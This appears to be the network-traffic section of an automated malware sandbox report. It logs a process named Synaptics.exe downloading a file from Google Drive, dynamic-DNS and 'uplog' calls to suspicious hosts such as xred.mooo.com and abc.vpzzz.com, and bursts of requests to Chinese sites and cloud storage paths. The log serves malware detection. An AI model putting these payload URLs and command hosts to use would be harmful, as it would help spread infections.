Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
Source: global traffic	HTTP traffic detected: GET /rules/rule63067v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324001v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule490016v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule170012v12s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324002v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324005v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324004v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324007v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324003v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324006v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /kss_api/io.php?a=uplog&apiver=905&c=0&gdata=1&softcode=1000001&&lgid=0&f=&x=781315036953 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSiE 6.0; Windows NT 5.1;)Accept-Language: en-chAccept-Encoding: gzip, deflateHost: abc.vpzzz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: kl.webzf.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_57 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.zhihu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/18771 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/22745 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/11133 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.aliyun.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sinacloud.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_58 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: qingdaocs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: abc.vpzzz.com
Source: global traffic	DNS traffic detected: DNS query: kl.webzf.top
Source: global traffic	DNS traffic detected: DNS query: www.douyin.com
Source: global traffic	DNS traffic detected: DNS query: www.kuaishou.com
Source: global traffic	DNS traffic detected: DNS query: www.iqiyi.com
Source: global traffic	DNS traffic detected: DNS query: www.sohu.com
Source: global traffic	DNS traffic detected: DNS query: www.sogou.com
Source: global traffic	DNS traffic detected: DNS query: www.qq.com
Source: global traffic	DNS traffic detected: DNS query: www.sina.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.so.com
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: soso.com
Source: global traffic	DNS traffic detected: DNS query: www.jd.com
Source: global traffic	DNS traffic detected: DNS query: www.1688.com
Source: global traffic	DNS traffic detected: DNS query: www.hao123.com
Source: global traffic	DNS traffic detected: DNS query: youdao.com
Source: global traffic	DNS traffic detected: DNS query: foodmate.net
Source: global traffic	DNS traffic detected: DNS query: www.jmw.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.cdstm.cn
Source: global traffic	DNS traffic detected: DNS query: www.eastmoney.com
Source: global traffic	DNS traffic detected: DNS query: www.tencent.com
Source: global traffic	DNS traffic detected: DNS query: www.cctv.com
Source: global traffic	DNS traffic detected: DNS query: www.hupu.com
Source: global traffic	DNS traffic detected: DNS query: www.autohome.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.jb51.net
Source: global traffic	DNS traffic detected: DNS query: guangzhoucs.oss-accelerate.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: www.zhihu.com
Source: global traffic	DNS traffic detected: DNS query: sinacloud.net
Source: global traffic	DNS traffic detected: DNS query: www.aliyun.com
Source: global traffic	DNS traffic detected: DNS query: www.sinacloud.com
Source: global traffic	DNS traffic detected: DNS query: qingdaocs.oss-accelerate.aliyuncs.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:27 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-rTHaWKuV9IG_Km3ic6dQOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPhLumfd_UsSEcyM5E66lGTymyFOhniyw9UTFP9svlEVLK472JkCTKv6qlwZNoQ-GEfbmgServer: UploadServerSet-Cookie: NID=516=W2uqB3Bc7GTNrrAgUDMBMIS5nEsmtrsHrKwC8y0SBrFwZG-kiHAwVoe-TQn-5Pn7KHVQzcRujHI7ZnRySu20lzzOVYBKjdpvA84cGzwfTPgSbFLaYptl5sz2GWIiJjq3nxldn5Op4TzafXZRWe-jpqp5mW4tNnVqz8so3CzALUE; expires=Tue, 04-Feb-2025 10:00:27 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
